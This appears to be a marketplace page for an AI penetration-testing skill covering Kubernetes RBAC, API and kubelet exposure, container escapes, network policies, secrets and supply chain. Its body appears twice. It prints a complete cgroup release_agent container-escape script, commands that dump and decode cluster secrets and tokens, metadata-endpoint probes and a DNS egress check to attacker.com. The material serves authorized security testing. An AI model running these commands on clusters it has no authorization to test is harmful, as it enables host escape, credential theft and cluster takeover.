一键导入
kubernetes-security-testing
Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
| name | kubernetes-security-testing |
| description | Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
Scope
Entry Points
Authentication Methods
/var/run/secrets/kubernetes.io/serviceaccount/token)system:anonymous / system:unauthenticated, with only explicitly bound RBAC permissions such as public discovery/info roles)verbs: ["*"], resources: ["*"]cluster-admin bound to service accounts that don't need itautomountServiceAccountToken: true (the default) when no API access is neededsystem:anonymous or system:unauthenticated group bound to permissive rolesescalate, bind, or impersonate verbsTest:
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
--anonymous-auth=true and permissive RBAC for anonymous users/pods, /spec, /statsetcdctl get / --prefix --keys-only/metrics, /debug/pprof) leaking internal stateTest:
curl -sk https://<api-server>:6443/api/v1/namespaces
curl -s http://<node-ip>:10255/pods
curl -s http://<node-ip>:10255/metrics
privileged: true in securityContext grants all Linux capabilities and device accesshostPID: true enables /proc access to host processes, nsenter to host namespacehostNetwork: true places the pod on the host network stack/var/run/docker.sock, /run/containerd/containerd.sock)CAP_SYS_ADMIN + unconfined AppArmor enables mount namespace escapes via cgroup release_agenthostPath mounts to /, /etc, or /var/runTest:
# Check if running privileged
cat /proc/1/status | grep -i cap
# List host processes via hostPID
ls /proc/*/cmdline 2>/dev/null | head -20
# Check for mounted sockets
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
Test:
kubectl get networkpolicies --all-namespaces
# From inside a pod, test lateral reach
curl -s http://<other-pod-ip>:<port>/
curl -s http://169.254.169.254/latest/meta-data/
nslookup attacker.com
/proc/*/environ, docker inspect, crash dumps)Test:
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
env | grep -iE 'password|key|token|secret|credential'
cat /var/run/secrets/kubernetes.io/serviceaccount/token
runAsUser: 0 or no securityContext set)readOnlyRootFilesystem: trueallowPrivilegeEscalation: true (the default)seccompProfile or AppArmor annotationsTest:
kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
:latest tag is mutable)Test:
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
Token Reuse
Label Manipulation
update on namespacesAdmission Webhook Bypass
failurePolicy: Ignore silently bypass validationKubelet Direct Access
curl -sk https://<node>:10250/runningpods/kubectl auth whoami, kubectl auth can-i --listkubectl get all -Akube-bench for CIS compliance, kubesec for workload hardening scores, trivy for image CVEskubectl auth can-i returning yes for service accounts that are restricted by admission controllers or OPA policies:latest tag but pulled from a private registry with immutable tags enabledkubectl auth can-i --list to understand your blast radius before probing anything/var/run/secrets/ are your first pivot point from any compromised podkube-system namespace access - controllers there often have cluster-admin equivalent permissionskube-bench output is noisy but highlights the CIS benchmark failures that matter mostCAP_SYS_ADMIN (via privileged: true or an explicit capability grant) plus permissive AppArmor/seccomp confinementsh.helm.release.v1.*) in kube-system often contain credentials from chart valuesdig +short SRV *.*.svc.cluster.local--as= impersonation to check what other service accounts can doKubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
Scope
Entry Points
Authentication Methods
/var/run/secrets/kubernetes.io/serviceaccount/token)system:anonymous / system:unauthenticated, with only explicitly bound RBAC permissions such as public discovery/info roles)verbs: ["*"], resources: ["*"]cluster-admin bound to service accounts that don't need itautomountServiceAccountToken: true (the default) when no API access is neededsystem:anonymous or system:unauthenticated group bound to permissive rolesescalate, bind, or impersonate verbsTest:
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
--anonymous-auth=true and permissive RBAC for anonymous users/pods, /spec, /statsetcdctl get / --prefix --keys-only/metrics, /debug/pprof) leaking internal stateTest:
curl -sk https://<api-server>:6443/api/v1/namespaces
curl -s http://<node-ip>:10255/pods
curl -s http://<node-ip>:10255/metrics
privileged: true in securityContext grants all Linux capabilities and device accesshostPID: true enables /proc access to host processes, nsenter to host namespacehostNetwork: true places the pod on the host network stack/var/run/docker.sock, /run/containerd/containerd.sock)CAP_SYS_ADMIN + unconfined AppArmor enables mount namespace escapes via cgroup release_agenthostPath mounts to /, /etc, or /var/runTest:
# Check if running privileged
cat /proc/1/status | grep -i cap
# List host processes via hostPID
ls /proc/*/cmdline 2>/dev/null | head -20
# Check for mounted sockets
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
Test:
kubectl get networkpolicies --all-namespaces
# From inside a pod, test lateral reach
curl -s http://<other-pod-ip>:<port>/
curl -s http://169.254.169.254/latest/meta-data/
nslookup attacker.com
/proc/*/environ, docker inspect, crash dumps)Test:
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
env | grep -iE 'password|key|token|secret|credential'
cat /var/run/secrets/kubernetes.io/serviceaccount/token
runAsUser: 0 or no securityContext set)readOnlyRootFilesystem: trueallowPrivilegeEscalation: true (the default)seccompProfile or AppArmor annotationsTest:
kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
:latest tag is mutable)Test:
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
Token Reuse
Label Manipulation
update on namespacesAdmission Webhook Bypass
failurePolicy: Ignore silently bypass validationKubelet Direct Access
curl -sk https://<node>:10250/runningpods/kubectl auth whoami, kubectl auth can-i --listkubectl get all -Akube-bench for CIS compliance, kubesec for workload hardening scores, trivy for image CVEskubectl auth can-i returning yes for service accounts that are restricted by admission controllers or OPA policies:latest tag but pulled from a private registry with immutable tags enabledkubectl auth can-i --list to understand your blast radius before probing anything/var/run/secrets/ are your first pivot point from any compromised podkube-system namespace access - controllers there often have cluster-admin equivalent permissionskube-bench output is noisy but highlights the CIS benchmark failures that matter mostCAP_SYS_ADMIN (via privileged: true or an explicit capability grant) plus permissive AppArmor/seccomp confinementsh.helm.release.v1.*) in kube-system often contain credentials from chart valuesdig +short SRV *.*.svc.cluster.local--as= impersonation to check what other service accounts can doKubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.
record_vulnerability when running inside the penkit51 platformrecord_vulnerability when running inside the penkit51 platformAuthorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths